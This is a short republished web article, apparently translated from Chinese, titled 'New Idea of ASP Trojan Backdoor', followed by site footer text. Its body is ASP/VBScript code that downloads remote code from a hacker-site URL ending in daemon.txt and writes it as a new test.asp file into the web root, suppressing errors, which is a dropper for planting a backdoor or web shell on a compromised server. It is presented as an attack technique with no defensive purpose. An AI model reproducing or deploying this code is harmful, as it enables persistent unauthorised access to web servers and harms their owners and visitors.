New Idea of ASP Trojan Backdoor

Source: Internet
Author: User

<%

Function getpage (URL)

Dim Retrieval

Set retrieval = Createobject ("Microsoft. XMLHTTP ")

With Retrieval

. Open "get", URL, false ',"",""

. Send

Getpage = bytestobstr (. responsebody)

End

Set retrieval = nothing

End Function

Function bytestobstr (Body)

Dim objstream

Set objstream = server. Createobject ("ADODB. Stream ")

Objstream. type = 1

Objstream. mode = 3

Objstream. Open

Objstream. Write body

Objstream. Position = 0

Objstream. type = 2

Objstream. charset = "gb2312"

Bytestobstr = objstream. readtext

Objstream. Close

Set objstream = nothing

End Function

On Error resume next

Url = "http://www.heibai.org/hacker/daemon.txt"

Response. Write "start to get remoteCode........"

Wstr = getpage (URL)

Set FS = server. Createobject ("scripting. FileSystemObject ")

Set crfi = FS. createtextfile (server. mappath ("./") & "\ test. asp ")

Crfi. writeline (wstr)

Set crfi = nothing

Set FS = nothing

Response. Write "... <font color = Red> the test. asp file is generated successfully. </font>"

%>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.